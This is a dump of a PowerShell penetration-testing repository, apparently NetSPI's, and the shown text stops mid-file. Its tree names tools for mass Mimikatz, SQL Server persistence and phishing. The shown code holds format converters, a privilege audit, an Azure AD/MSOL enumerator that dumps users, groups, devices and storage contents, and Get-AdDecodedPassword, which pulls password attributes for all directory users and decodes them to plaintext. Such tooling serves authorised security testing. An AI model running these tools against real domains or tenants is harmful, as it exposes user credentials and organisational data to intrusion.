├── Convert-CsvToPsDt.ps1 ├── Convert-DataTableToHtmlTable.ps1 ├── Convert-ImageToHtml.ps1 ├── Create-FakeSensitiveData.psm1 ├── Dump-AzureDomainInfo.ps1 ├── Get-AdDecodedPassword.psm1 ├── Get-BadPrivilege.psm1 ├── Get-DomainInfoADPS.psm1 ├── Get-FederationEndpoint.ps1 ├── Get-GPPPasswordMod.ps1 ├── Get-GPRegistryPolicy.ps1 ├── Get-GraphAPIToken.ps1 ├── Get-IpInfoFromCap.ps1 ├── Get-PublicAwsS3BucketList.psm1 ├── Get-SSLCertInfo-CTFR.psm1 ├── Get-SSLCertInfo-Scan.psm1 ├── Install-NetspiAgent.psm1 ├── Invoke-ExternalDomainBruteforce.psm1 ├── Invoke-HuntSQLServers.ps1 ├── Invoke-MassMimikatz-PsRemoting.psm1 ├── Invoke-SqlServer-Persist-StartupSp.psm1 ├── Invoke-SqlServer-Persist-TriggerDDL.psm1 ├── Invoke-WebFilterTest.psm1 ├── Load-AdPsModule.ps1 ├── PowerSkype.ps1 ├── README.md ├── Resolve-DnsDomainValidationToken.ps1 ├── Send-ProtocolHandlerEmailLinks.psm1 ├── cryptit ├── Crypt-It.ps1 ├── CryptIt.cs └── CryptItexe.zip ├── fish.ps1 └── fish.psm1 /Convert-CsvToPsDt.ps1: -------------------------------------------------------------------------------- 1 | Function Convert-CsvToPsDt 2 | { 3 | <# 4 | .SYNOPSIS 5 | This function can be used to convert a CSV into PowerShell code 6 | that creates a data table that mirrors the CSV structure and content. 7 | .PARAMETER $Infile 8 | The csv input file path. 9 | .PARAMETER $Outfile 10 | The output file path. 11 | .EXAMPLE 12 | PS C:\> Convert-CsvToPsDt -Infile c:\temp\serverinfo.csv -Outfile c:\temp\createmydatatable.ps1 13 | .NOTES 14 | Author: Scott Sutherland (@_nullbind) 15 | #> 16 | [CmdletBinding()] 17 | Param( 18 | [Parameter(Mandatory = $true, 19 | HelpMessage = 'The csv input file path.')] 20 | [string]$Infile, 21 | [Parameter(Mandatory = $true, 22 | HelpMessage = 'The output file path.')] 23 | [string]$Outfile = ".\MyPsDataTable.ps1" 24 | ) 25 | 26 | # Test file path 27 | if(Test-Path $Infile) 28 | { 29 | Write-Output "[+] $Infile is accessible." 30 | }else{ 31 | write-Output "[-] $Infile is not accessible, aborting." 32 | break 33 | } 34 | 35 | # Import CSV 36 | Write-Output "[+] Importing csv file." 37 | $MyCsv = Import-Csv $Infile 38 | 39 | # Get list of columns 40 | Write-Output "[+] Paring columns." 41 | $MyCsvColumns = $MyCsv | Get-Member | Where-Object MemberType -like "NoteProperty" | Select-Object Name -ExpandProperty Name 42 | 43 | # Print data table creation 44 | Write-Output "[+] Writing data table object to $Outfile." 45 | write-output '$MyTable = New-Object System.Data.DataTable' | Out-File $Outfile 46 | 47 | # Print columns creation 48 | Write-Output "[+] Writing data table columns to $Outfile." 49 | $MyCsvColumns | 50 | ForEach-Object { 51 | 52 | write-Output "`$null = `$MyTable.Columns.Add(`"$_`")" | Out-File $Outfile -Append 53 | 54 | } 55 | 56 | # Print data rows 57 | Write-Output "[+] Writing data table rows to $Outfile." 58 | $MyCsv | 59 | ForEach-Object { 60 | 61 | # Create a value contain row data 62 | $CurrentRow = $_ 63 | $PrintRow = "" 64 | $MyCsvColumns | 65 | ForEach-Object{ 66 | $GetValue = $CurrentRow | Select-Object $_ -ExpandProperty $_ 67 | if($PrintRow -eq ""){ 68 | $PrintRow = "`"$GetValue`"" 69 | }else{ 70 | $PrintRow = "$PrintRow,`"$GetValue`"" 71 | } 72 | } 73 | 74 | # Print row addition 75 | write-Output "`$null = `$MyTable.Rows.Add($PrintRow)" | Out-File $Outfile -Append 76 | } 77 | 78 | Write-Output "[+] All done." 79 | } 80 | -------------------------------------------------------------------------------- /Convert-DataTableToHtmlTable.ps1: -------------------------------------------------------------------------------- 1 | function Convert-DataTableToHtmlTable 2 | { 3 | <# 4 | .SYNOPSIS 5 | This function can be used to convert a data table or ps object into a html table. 6 | .PARAMETER $DataTable 7 | The datatable to input. 8 | .PARAMETER $Outfile 9 | The output file path. 10 | .PARAMETER $Title 11 | Title of the page. 12 | .PARAMETER $Description 13 | Description of the page. 14 | .EXAMPLE 15 | $object = New-Object psobject 16 | $Object | Add-Member Noteproperty Name "my name 1" 17 | $Object | Add-Member Noteproperty Description "my description 1" 18 | Convert-DataTableToHtmlTable -Verbose -DataTable $object -Outfile ".\MyPsDataTable.html" -Title "MyPage" -Description "My description" -DontExport 19 | Convert-DataTableToHtmlTable -Verbose -DataTable $object -Outfile ".\MyPsDataTable.html" -Title "MyPage" -Description "My description" 20 | .\MyPsDataTable.html 21 | .NOTES 22 | Author: Scott Sutherland (@_nullbind) 23 | #> 24 | param ( 25 | [Parameter(Mandatory = $true, 26 | HelpMessage = 'The datatable to input.')] 27 | $DataTable, 28 | [Parameter(Mandatory = $false, 29 | HelpMessage = 'The output file path.')] 30 | [string]$Outfile = ".\MyPsDataTable.html", 31 | [Parameter(Mandatory = $false, 32 | HelpMessage = 'Title of page.')] 33 | [string]$Title = "HTML Table", 34 | [Parameter(Mandatory = $false, 35 | HelpMessage = 'Description of page.')] 36 | [string]$Description = "HTML Table", 37 | [Parameter(Mandatory = $false, 38 | HelpMessage = 'Disable file save.')] 39 | [switch]$DontExport 40 | ) 41 | 42 | # Setup HTML begin 43 | Write-Verbose "[+] Creating html top." 44 | $HTMLSTART = @" 45 | 46 | 47 | $Title 48 | 152 | 153 | 154 |

Back to Report

155 |

$Title

156 |

$Description

157 | 158 | "@ 159 | 160 | # Get list of columns 161 | Write-Verbose "[+] Parsing data table columns." 162 | $MyCsvColumns = $DataTable | Get-Member | Where-Object MemberType -like "NoteProperty" | Select-Object Name -ExpandProperty Name 163 | 164 | # Print columns creation 165 | Write-Verbose "[+] Creating html table columns." 166 | $HTMLTableHeadStart= "" 167 | $MyCsvColumns | 168 | ForEach-Object { 169 | 170 | # Add column 171 | $HTMLTableColumn = "$HTMLTableColumn" 172 | } 173 | $HTMLTableColumn = "$HTMLTableHeadStart$HTMLTableColumn" 174 | 175 | # Create table rows 176 | Write-Verbose "[+] Creating html table rows." 177 | $HTMLTableRow = $DataTable | 178 | ForEach-Object { 179 | 180 | # Create a value contain row data 181 | $CurrentRow = $_ 182 | $PrintRow = "" 183 | $MyCsvColumns | 184 | ForEach-Object{ 185 | $GetValue = $CurrentRow | Select-Object $_ -ExpandProperty $_ 186 | if($PrintRow -eq ""){ 187 | #$PrintRow = "" 188 | }else{ 189 | $PrintRow = "$PrintRow" 190 | } 191 | } 192 | 193 | # Return row 194 | $HTMLTableHeadstart = "" 195 | $HTMLTableHeadend = "" 196 | "$HTMLTableHeadStart$PrintRow$HTMLTableHeadend" 197 | } 198 | 199 | # Setup HTML end 200 | Write-Verbose "[+] Creating html bottom." 201 | $HTMLEND = @" 202 | 203 |
$_
$GetValue$GetValue
204 | 205 | 206 | "@ 207 | 208 | # Return it 209 | "$HTMLSTART $HTMLTableColumn $HTMLTableRow $HTMLEND" 210 | 211 | # Write file 212 | if(-not $DontExport){ 213 | "$HTMLSTART $HTMLTableColumn $HTMLTableRow $HTMLEND" | Out-File $Outfile 214 | } 215 | } 216 | -------------------------------------------------------------------------------- /Convert-ImageToHtml.ps1: -------------------------------------------------------------------------------- 1 | function Convert-ImageToHtml 2 | { 3 | <# 4 | .SYNOPSIS 5 | This function can be used to convert an image file into an HTML IMG tag with an image 6 | embedded in the SRC so that an external image file doesn't have to be referenced. 7 | .PARAMETER $ImageFile 8 | The image file path. 9 | .PARAMETER $MakeHtml 10 | An HTML file will be created using the same name as the image file. 11 | .EXAMPLE 12 | Convert a single image file to an HTML IMG tag and display the code. 13 | PS C:\> Convert-ImageToHtml -$ImageFile c:\temp\picture.png -Verbose 14 | .EXAMPLE 15 | Convert a directory of images to HTML IMG tags and display the code. 16 | PS C:\> Get-ChildItem *.png | select fullname | Convert-ImageToHtml -Verbose 17 | .EXAMPLE 18 | Convert a directory of images to HTML IMG tags, display the code, and write them to html files. 19 | PS C:\> Get-ChildItem *.png | select fullname | Convert-ImageToHtml -Verbose -MakeHtml 20 | .NOTES 21 | Author: Scott Sutherland (@_nullbind) 22 | #> 23 | 24 | [CmdletBinding()] 25 | Param( 26 | [Parameter(Mandatory = $true, 27 | ValueFromPipeline = $true, 28 | ValueFromPipelineByPropertyName = $true, 29 | HelpMessage = 'The image file path.')] 30 | [string]$ImageFile, 31 | 32 | [Parameter(Mandatory = $false, 33 | HelpMessage = 'An HTML file will be created using the same name as the image file.')] 34 | [switch]$MakeHtml 35 | ) 36 | 37 | 38 | Process { 39 | 40 | try { 41 | 42 | # Process for common parameter names if pipeline is used 43 | if($PSCmdlet.MyInvocation.ExpectingInput){ 44 | $CheckFullName = $_ | gm | where name -like "fullname" 45 | if($CheckFullName){ 46 | $ImageFile = $_.fullname 47 | } 48 | } 49 | 50 | # Verbose info 51 | Write-Verbose "Processing $ImageFile" 52 | 53 | # Read image file 54 | $ImageBytes = [System.IO.File]::ReadAllBytes("$ImageFile") 55 | 56 | # Convert to base64 string 57 | $ImageString = [System.Convert]::ToBase64String($ImageBytes) 58 | 59 | # Create HTML with an embedded image 60 | $output = "" 61 | 62 | # Display image tag 63 | $output 64 | 65 | if($MakeHtml){ 66 | $output | Out-File "$ImageFile.html" 67 | } 68 | }catch{ 69 | Write-Error "Something went wrong. Check your paths. :)" -ErrorId B1 -TargetObject $_ 70 | } 71 | 72 | } 73 | } 74 | -------------------------------------------------------------------------------- /Dump-AzureDomainInfo.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | File: Dump-AzureDomainInfo.ps1 3 | Author: Karl Fosaaen (@kfosaaen), NetSPI - 2017 4 | Description: PowerShell functions for enumerating information from AzureAD/MSOL domains. 5 | #> 6 | 7 | # To Do: 8 | # Add better error handling 9 | # Add option to disable group dump 10 | # Add additional AzureRM features/data 11 | 12 | #Requires -Modules MSOnline,AzureRM 13 | 14 | 15 | Function Dump-AzureDomainInfo-MSOL 16 | { 17 | <# 18 | .SYNOPSIS 19 | Dumps information from an MSOL domain via authenticated MSOL connection. 20 | .PARAMETER folder 21 | The folder to output to. 22 | .EXAMPLE 23 | PS C:\> Dump-AzureDomainInfo -folder Test -Verbose 24 | VERBOSE: Getting Domain Contact Info... 25 | VERBOSE: Getting Domains... 26 | VERBOSE: 4 Domains were found. 27 | VERBOSE: Getting Domain Users... 28 | VERBOSE: 200 Domain Users were found across 4 domains. 29 | VERBOSE: Getting Domain Groups... 30 | VERBOSE: 90 Domain Groups were found. 31 | VERBOSE: Getting Domain Users for each group... 32 | VERBOSE: Domain Group Users were enumerated for 90 groups. 33 | VERBOSE: Getting Domain Devices... 34 | VERBOSE: 22 devices were enumerated. 35 | VERBOSE: Getting Domain Service Principals... 36 | VERBOSE: 134 service principals were enumerated. 37 | VERBOSE: All done. 38 | 39 | #> 40 | 41 | [CmdletBinding()] 42 | Param( 43 | [Parameter(Mandatory=$false, 44 | HelpMessage="Folder to output to.")] 45 | [string]$folder 46 | ) 47 | 48 | # Folder Parameter Checking 49 | if ($folder){if(Test-Path $folder){if(Test-Path $folder"\MSOL"){}else{New-Item -ItemType Directory $folder"\MSOL"|Out-Null}}else{New-Item -ItemType Directory $folder|Out-Null ; New-Item -ItemType Directory $folder"\MSOL"|Out-Null}} 50 | else{if(Test-Path MSOL){}else{New-Item -ItemType Directory MSOL|Out-Null};$folder=".\"} 51 | 52 | # Authenticate to MSOL 53 | Connect-MsolService 54 | 55 | # Get/Write Company Info 56 | Write-Verbose "Getting Domain Contact Info..." 57 | Get-MsolCompanyInformation | Out-File -LiteralPath $folder"\MSOL\DomainCompanyInfo.txt" 58 | 59 | # Get/Write Domains 60 | Write-Verbose "Getting Domains..." 61 | $domains = Get-MsolDomain 62 | $domains | select Name,Status,Authentication | Export-Csv -NoTypeInformation -LiteralPath $folder"\MSOL\Domains.CSV" 63 | $domainCount = $domains.Count 64 | Write-Verbose "$domainCount Domains were found." 65 | 66 | # Get/Write Users for each domain 67 | Write-Verbose "Getting Domain Users..." 68 | $userCount=0 69 | $domains | select Name | ForEach-Object {$DomainIter=$_.Name; $domainUsers=Get-MsolUser -All -DomainName $DomainIter; $userCount+=$domainUsers.Count; $domainUsers | Select-Object @{Label="Domain"; Expression={$DomainIter}},UserPrincipalName,DisplayName,isLicensed | Export-Csv -NoTypeInformation -LiteralPath $folder"\MSOL\"$DomainIter"_Users.CSV"} 70 | Write-Verbose "$userCount Domain Users were found across $domainCount domains." 71 | 72 | # Get/Write Groups 73 | Write-Verbose "Getting Domain Groups..." 74 | if(Test-Path $folder"\MSOL\Groups"){} 75 | else{New-Item -ItemType Directory $folder"\MSOL\Groups" | Out-Null} 76 | $groups = Get-MsolGroup -All -GroupType Security 77 | $groupCount = $groups.Count 78 | Write-Verbose "$groupCount Domain Groups were found." 79 | Write-Verbose "Getting Domain Users for each group..." 80 | $groups | Export-Csv -NoTypeInformation -LiteralPath $folder"\MSOL\Groups.CSV" 81 | $groups | ForEach-Object {$groupName=$_.DisplayName; Get-MsolGroupMember -All -GroupObjectId $_.ObjectID | Select-Object @{ Label = "Group Name"; Expression={$groupName}}, EmailAddress, DisplayName | Export-Csv -NoTypeInformation -LiteralPath $folder"\MSOL\Groups\group_"$groupName"_Users.CSV"} 82 | Write-Verbose "Domain Group Users were enumerated for $groupCount groups." 83 | 84 | # Get/Write Devices 85 | Write-Verbose "Getting Domain Devices..." 86 | $devices = Get-MsolDevice -All 87 | $devices | Export-Csv -NoTypeInformation -LiteralPath $folder"\MSOL\Domain_Devices.CSV" 88 | $deviceCount = $devices.Count 89 | Write-Verbose "$deviceCount devices were enumerated." 90 | 91 | 92 | # Get/Write Service Principals 93 | Write-Verbose "Getting Domain Service Principals..." 94 | $principals = Get-MsolServicePrincipal -All 95 | $principals | Export-Csv -NoTypeInformation -LiteralPath $folder"\MSOL\Domain_SPNs.CSV" 96 | $principalCount = $principals.Count 97 | Write-Verbose "$principalCount service principals were enumerated." 98 | 99 | 100 | Write-Verbose "All done with MSOL tasks.`n" 101 | } 102 | 103 | Function Dump-AzureDomainInfo-AzureRM 104 | { 105 | <# 106 | .SYNOPSIS 107 | Dumps information from an AzureAD domain via authenticated AzureRM connection. 108 | .PARAMETER folder 109 | The folder to output to. 110 | .EXAMPLE 111 | PS C:\> Dump-AzureDomainInfo-AzureRM -folder Test -Verbose 112 | VERBOSE: Getting Domain Users... 113 | VERBOSE: 200 Domain Users were found. 114 | VERBOSE: Getting Domain Groups... 115 | VERBOSE: 150 Domain Groups were found. 116 | VERBOSE: Getting Domain Users for each group... 117 | VERBOSE: Domain Group Users were enumerated for 150 groups. 118 | VERBOSE: Getting Domain Service Principals... 119 | VERBOSE: 140 service principals were enumerated. 120 | VERBOSE: All done with AzureRM tasks. 121 | 122 | #> 123 | 124 | # AzureRM Functions - https://docs.microsoft.com/en-us/azure/azure-resource-manager/powershell-azure-resource-manager 125 | # 126 | # Get-AzureRmSubscription 127 | # Get-AzureRmSqlDatabase 128 | 129 | 130 | [CmdletBinding()] 131 | Param( 132 | [Parameter(Mandatory=$false, 133 | HelpMessage="Folder to output to.")] 134 | [string]$folder 135 | ) 136 | 137 | # Folder Parameter Checking 138 | if ($folder){if(Test-Path $folder){if(Test-Path $folder"\AzureRM"){}else{New-Item -ItemType Directory $folder"\AzureRM"|Out-Null}}else{New-Item -ItemType Directory $folder|Out-Null ; New-Item -ItemType Directory $folder"\AzureRM"|Out-Null}} 139 | else{if(Test-Path AzureRM){}else{New-Item -ItemType Directory AzureRM|Out-Null};$folder=".\"} 140 | 141 | # Authenticate to AzureRM 142 | Login-AzureRmAccount 143 | 144 | # Get TenantId 145 | $tenantID = Get-AzureRmTenant | select TenantId 146 | 147 | # Get/Write Users for each domain 148 | Write-Verbose "Getting Domain Users..." 149 | $userCount=0 150 | $users=Get-AzureRmADUser 151 | $users | Export-Csv -NoTypeInformation -LiteralPath $folder"\AzureRM\Users.CSV" 152 | $userCount=$users.Count 153 | Write-Verbose "$userCount Domain Users were found." 154 | 155 | # Get/Write Groups 156 | Write-Verbose "Getting Domain Groups..." 157 | if(Test-Path $folder"\AzureRM\Groups"){} 158 | else{New-Item -ItemType Directory $folder"\AzureRM\Groups" | Out-Null} 159 | $groups=Get-AzureRmADGroup 160 | $groupCount = $groups.Count 161 | Write-Verbose "$groupCount Domain Groups were found." 162 | Write-Verbose "Getting Domain Users for each group..." 163 | $groups | Export-Csv -NoTypeInformation -LiteralPath $folder"\AzureRM\Groups.CSV" 164 | $groups | ForEach-Object {$groupName=$_.DisplayName; Get-AzureRmADGroupMember -GroupObjectId $_.Id | Select-Object @{ Label = "Group Name"; Expression={$groupName}}, DisplayName | Export-Csv -NoTypeInformation -LiteralPath $folder"\AzureRM\Groups\group_"$groupName"_Users.CSV"} 165 | Write-Verbose "Domain Group Users were enumerated for $groupCount group(s)." 166 | 167 | #Get-​Azure​Rm​AD​Application 168 | # TBD 169 | 170 | #Get Storage Account name(s) 171 | $storageAccounts = Get-AzureRmStorageAccount | select StorageAccountName,ResourceGroupName 172 | 173 | if(Test-Path $folder"\AzureRM\Files"){} 174 | else{New-Item -ItemType Directory $folder"\AzureRM\Files" | Out-Null} 175 | 176 | Foreach ($storageAccount in $storageAccounts){ 177 | $StorageAccountName = $storageAccount.StorageAccountName 178 | Write-Verbose "Listing out blob files for the $StorageAccountName storage account..." 179 | #Set Context 180 | Set-AzureRmCurrentStorageAccount -ResourceGroupName $storageAccount.ResourceGroupName -Name $storageAccount.StorageAccountName | Out-Null 181 | 182 | $strgName = $storageAccount.StorageAccountName 183 | 184 | #Create folder for each Storage Account for cleaner output 185 | if(Test-Path $folder"\AzureRM\Files\"$strgName){} 186 | else{New-Item -ItemType Directory $folder"\AzureRM\Files\"$strgName | Out-Null} 187 | 188 | #List Containers and Files and Export to CSV 189 | $containers = Get-AzureStorageContainer | select Name 190 | 191 | foreach ($container in $containers){ 192 | $containerName = $container.Name 193 | Write-Verbose "`tListing files for the $containerName container" 194 | $pathName = "\AzureRM\Files\"+$strgName+"\Blob_Files_"+$container.Name 195 | Get-AzureStorageBlob -Container $container.Name | Export-Csv -NoTypeInformation -LiteralPath $folder$pathName".CSV" 196 | 197 | #Check if the container is public, write to PublicFileURLs.txt 198 | $publicStatus = Get-AzureStorageContainerAcl $container.Name | select PublicAccess 199 | if (($publicStatus.PublicAccess -eq "Blob") -or ($publicStatus.PublicAccess -eq "Container")){ 200 | Write-Verbose "`t`tPublic File Found" 201 | #Write public file URL to list 202 | $blobName = Get-AzureStorageBlob -Container $container.Name | select Name 203 | $blobUrl = "https://$StorageAccountName.blob.core.windows.net/$containerName/"+$blobName.Name 204 | $blobUrl >> $folder"\AzureRM\Files\"$strgName"\PublicFileURLs.txt" 205 | } 206 | } 207 | 208 | #Go through each File Service endpoint 209 | Try{ 210 | $AZFileShares = Get-AzureStorageShare -ErrorAction Stop | select Name 211 | Write-Verbose "Listing out File Service files for the $StorageAccountName storage account..." 212 | foreach ($share in $AZFileShares) { 213 | $shareName = $share.Name 214 | Write-Verbose "`tListing files for the $shareName share" 215 | Get-AzureStorageFile -ShareName $shareName | select Name | Export-Csv -NoTypeInformation -LiteralPath $folder"\AzureRM\Files\"$strgName"\File_Service_Files-"$shareName".CSV" -Append 216 | } 217 | } 218 | Catch{ 219 | Write-Verbose "No available File Service files for the $StorageAccountName storage account..." 220 | } 221 | finally{ 222 | $ErrorActionPreference = "Continue" 223 | } 224 | 225 | #Go through each Storage Table endpoint 226 | Try{ 227 | $tableList = Get-AzureStorageTable -ErrorAction Stop 228 | if ($tableList.Length -gt 0){ 229 | $tableList | Export-Csv -NoTypeInformation -LiteralPath $folder"\AzureRM\Files\"$strgName"\Data_Tables.CSV" 230 | Write-Verbose "Listing out Data Tables for the $StorageAccountName storage account..." 231 | } 232 | else {Write-Verbose "No available Data Tables for the $StorageAccountName storage account..."} 233 | } 234 | Catch{ 235 | Write-Verbose "No available Data Tables for the $StorageAccountName storage account..." 236 | } 237 | finally{ 238 | $ErrorActionPreference = "Continue" 239 | } 240 | 241 | } 242 | 243 | # Get/Write Service Principals 244 | Write-Verbose "Getting Domain Service Principals..." 245 | $principals = Get-AzureRmADServicePrincipal 246 | $principals | Export-Csv -NoTypeInformation -LiteralPath $folder"\AzureRM\Domain_SPNs.CSV" 247 | $principalCount = $principals.Count 248 | Write-Verbose "$principalCount service principals were enumerated." 249 | 250 | 251 | Write-Verbose "All done with AzureRM tasks.`n" 252 | } 253 | 254 | Function Dump-AzureDomainInfo-All 255 | { 256 | 257 | [CmdletBinding()] 258 | Param( 259 | [Parameter(Mandatory=$false, 260 | HelpMessage="Folder to output to.")] 261 | [string]$folder 262 | ) 263 | if($folder){ 264 | Dump-AzureDomainInfo-MSOL -folder $folder 265 | Dump-AzureDomainInfo-AzureRM -folder $folder 266 | } 267 | else{ 268 | Dump-AzureDomainInfo-MSOL 269 | Dump-AzureDomainInfo-AzureRM 270 | } 271 | } 272 | -------------------------------------------------------------------------------- /Get-AdDecodedPassword.psm1: -------------------------------------------------------------------------------- 1 | <# 2 | Author: Scott Sutherland (@_nullbind), NetSPI 3 | Version: 0.0.4 4 | 5 | Description 6 | This script uses the Active Directory Powershell Module to query Active Directory 7 | for users with the UnixUserPassword, UserPassword, unicodePwd, or msSFU30Password properties 8 | populated. It then decodes those password fields and displays them to the user. 9 | 10 | .PARAMETER Server 11 | 12 | Specify the domain controller to search for. 13 | Default's to the users current domain. 14 | 15 | .PARAMETER Verbose 16 | 17 | Verbose Information 18 | 19 | This script is based on information shared in the blog below. 20 | Reference: https://www.blackhillsinfosec.com/domain-goodness-learned-love-ad-explorer/ 21 | 22 | Example 1: Run on domain system as domain user. 23 | Get-AdDecodedPassword -Verbose 24 | 25 | Example 2: Run on non-domain system and target a remote domain controller with provided credentials 26 | New-PSDrive -PSProvider ActiveDirectory -Name RemoteADS -Root "" -Server a.b.c.d -credential domain\user 27 | cd RemoteADS: 28 | Get-AdDecodedPassword -Verbose 29 | 30 | Example 3: Run on non-domain system and target a remote domain controller with provided credentials. 31 | First: runas /netonly /user:domain\user powershell 32 | A new powershell window will be open. In the new powershell we have the token of the user that it will be used for network resources (SMB,LDAP) 33 | Second: Import-Module Get-AdDecodedPassword.psm; Get-AdDecodedPassword -Verbose -Server a.b.c.d 34 | 35 | #> 36 | 37 | Function Get-AdDecodedPassword 38 | { 39 | 40 | [CmdletBinding()] 41 | Param( 42 | [String] 43 | $Server 44 | ) 45 | 46 | # Import the AD PS module 47 | #Import-Module ActiveDirectory 48 | 49 | # Get domain users with populated UnixUserPassword properties 50 | Write-Verbose "Getting list of domain accounts and properties..." 51 | if ($Server -ne $null) { 52 | $EncodedUserPasswords = Get-AdUser -Filter * -Properties * -Server $Server | 53 | Select-Object samaccountname, description, UnixUserPassword, UserPassword, unicodePwd, msSFU30Name, msSFU30Password, os400-password 54 | }else{ 55 | $EncodedUserPasswords = Get-AdUser -Filter * -Properties * | 56 | Select-Object samaccountname, description, UnixUserPassword, UserPassword, unicodePwd, msSFU30Name, msSFU30Password, os400-password 57 | } 58 | $EncodedUserPasswords = Get-AdUser -Filter * -Properties * | 59 | Select-Object samaccountname, description, UnixUserPassword, UserPassword, unicodePwd, msSFU30Name, msSFU30Password, os400-password 60 | 61 | # Decode passwords for each user 62 | Write-Verbose "Decoding passwords for each account..." 63 | $DecodedUserPasswords = $EncodedUserPasswords | 64 | ForEach-Object{ 65 | 66 | # Grab fields and decode password 67 | $SamAccountName = $_.samaccountname 68 | $Description = $_.description 69 | 70 | $UnixUserPasswordEnc = $_.UnixUserPassword | ForEach-Object {$_}; 71 | if($UnixUserPasswordEnc -notlike ""){ 72 | $UnixUserPassword = [System.Text.Encoding]::ASCII.GetString($UnixUserPasswordEnc) 73 | }else{ 74 | $UnixUserPassword = "" 75 | } 76 | 77 | $os400PasswordEnc = $_.'os400-password' | ForEach-Object {$_}; 78 | if($os400PasswordEnc -notlike ""){ 79 | $os400Password = [System.Text.Encoding]::ASCII.GetString($os400PasswordEnc) 80 | }else{ 81 | $os400Password = "" 82 | } 83 | 84 | $UserPasswordEnc = $_.UserPassword | ForEach-Object {$_}; 85 | if($UserPasswordEnc -notlike ""){ 86 | $UserPassword = [System.Text.Encoding]::ASCII.GetString($UserPasswordEnc) 87 | }else{ 88 | $UserPassword = "" 89 | } 90 | 91 | $unicodePwdEnc = $_.unicodePwd | ForEach-Object {$_}; 92 | if($unicodePwdEnc -notlike ""){ 93 | $unicodePwd = [System.Text.Encoding]::ASCII.GetString($unicodePwdEnc) 94 | }else{ 95 | $unicodePwd = "" 96 | } 97 | 98 | $msSFU30Name = $_.msSFU30Name 99 | $msSFU30PasswordEnc = $_.msSFU30Password | ForEach-Object {$_}; 100 | if ($msSFU30PasswordEnc -notlike ""){ 101 | $msSFU30Password = [System.Text.Encoding]::ASCII.GetString($msSFU30PasswordEnc) 102 | }else{ 103 | $msSFU30Password = "" 104 | } 105 | 106 | # Check if any of the password fields are populated 107 | if(($UnixUserPassword) -or ($UserPassword) -or ($msSFU30Password) -or ($unicodePwd)){ 108 | 109 | # Create object to be returned 110 | $UnixPasswords = New-Object PSObject 111 | $UnixPasswords | add-member Noteproperty SamAccountName $SamAccountName 112 | $UnixPasswords | add-member Noteproperty Description $Description 113 | $UnixPasswords | add-member Noteproperty UnixUserPassword $UnixUserPassword 114 | $UnixPasswords | add-member Noteproperty UserPassword $UserPassword 115 | $UnixPasswords | add-member Noteproperty unicodePwd $unicodePwd 116 | $UnixPasswords | add-member Noteproperty msSFU30Name $msSFU30Name 117 | $UnixPasswords | add-member Noteproperty msSFU30Password $msSFU30Password 118 | $UnixPasswords | add-member Noteproperty os400Password $os400Password # Other info in os400-text, os400-profile, os400-owner, os400-pwdexp 119 | } 120 | 121 | # Return object 122 | $UnixPasswords 123 | } 124 | 125 | # Display recovered/decoded passwords 126 | $DecodedUserPasswords | Sort-Object SamAccountName -Unique 127 | $FinalCount = $FinalList.Count 128 | write-verbose "Decoded passwords for $FinalCount domain accounts." 129 | } 130 | -------------------------------------------------------------------------------- /Get-BadPrivilege.psm1: -------------------------------------------------------------------------------- 1 | # ----------------------------------------- 2 | # Function: Get-BadPrivilege 3 | # ----------------------------------------- 4 | # With local administrator privileges, this script uses PoshPrivilege to list all user right/privilege assignments. 5 | # It then filters for known dangerous privileges based on https://twitter.com/vysecurity/status/1315272197959749635. 6 | # Requires: https://github.com/proxb/PoshPrivilege 7 | # Wrapper Author: Scott Sutherland, @_nullbind NetSPI 2020 8 | Function Get-BadPrivilege 9 | { 10 | 11 | # Check if Get-Privilege has bee loaded 12 | $CheckFunc = Test-Path Function:\Get-Privilege 13 | If(-not $CheckFunc){ 14 | Write-Output "The Get-Privilege function does not appear to be available." 15 | Write-Output "It can be downloaded from https://github.com/proxb/PoshPrivilege." 16 | Write-Output "Aborting run." 17 | break 18 | } 19 | 20 | # Check if the current user is an administrator 21 | $CheckAdmin = ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator") 22 | If(-not $CheckAdmin){ 23 | Write-Output "This script must be run as a local adminsitrator." 24 | Write-Output "Aborting run." 25 | break 26 | } 27 | 28 | # Create a table of known high risk rights/privileges 29 | $BadPrivileges = New-Object System.Collections.Arraylist 30 | $null = $BadPrivileges.Add("SeImpersonatePrivilege") 31 | $null = $BadPrivileges.Add("SeAssignPrimaryPrivilege") 32 | $null = $BadPrivileges.Add("SeTcbPrivilege") 33 | $null = $BadPrivileges.Add("SeBackupPrivilege") 34 | $null = $BadPrivileges.Add("SeRestorePrivilege") 35 | $null = $BadPrivileges.Add("SeCreateTokenPrivilege") 36 | $null = $BadPrivileges.Add("SeLoadDriverPrivilege") 37 | $null = $BadPrivileges.Add("SeTakeOwnershipPrivilege") 38 | $null = $BadPrivileges.Add("SeDebugPrivilege") 39 | 40 | # Iterate through identified right/privilege assignments 41 | Get-Privilege | 42 | ForEach-Object{ 43 | 44 | # Get privilege information 45 | $MyComputerName = $_.ComputerName 46 | $MyPrivilege = $_.Privilege 47 | $MyDescription = $_.Description 48 | $MyAffectedAccounts = $_.Accounts 49 | 50 | # Check if the privilege is high risk 51 | $BadPrivileges | 52 | ForEach-Object{ 53 | if ($_ -like "$MyPrivilege*") 54 | { 55 | $MyRiskStatus = "Yes" 56 | }else{ 57 | $MyRiskStatus = "No" 58 | } 59 | } 60 | 61 | # Parse affected accounts 62 | $MyAffectedAccounts | 63 | ForEach-Object{ 64 | 65 | $myObject = [PSCustomObject]@{ 66 | ComputerName = [string]$MyComputerName 67 | Privilege = [string]$MyPrivilege 68 | HighRisk = [string]$MyRiskStatus 69 | Description = [string]$MyDescription 70 | User = [string]$_ 71 | } 72 | 73 | $myObject 74 | } 75 | } 76 | } 77 | -------------------------------------------------------------------------------- /Get-FederationEndpoint.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .SYNOPSIS 3 | This script can be used to enumerate information about federated domains from Microsoft's APIs. 4 | 5 | .DESCRIPTION 6 | This script can be used to identify potential authentication points for federated domains. A "test" email address is sent to Microsoft's federation check API and the JSON response is parsed by the script. The data is then returned as a datatable. 7 | 8 | .EXAMPLE 9 | 10 | PS C:\> Get-FederationEndpoint -domain microsoft.com | ft -AutoSize 11 | 12 | Domain Type BrandName AuthURL 13 | ------ ---- --------- ------- 14 | microsoft.com Federated Microsoft https://msft.sts.microsoft.com/adfs/ls/?username=test%40microsoft.com&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx= 15 | 16 | 17 | .EXAMPLE 18 | 19 | PS C:\> Get-Content 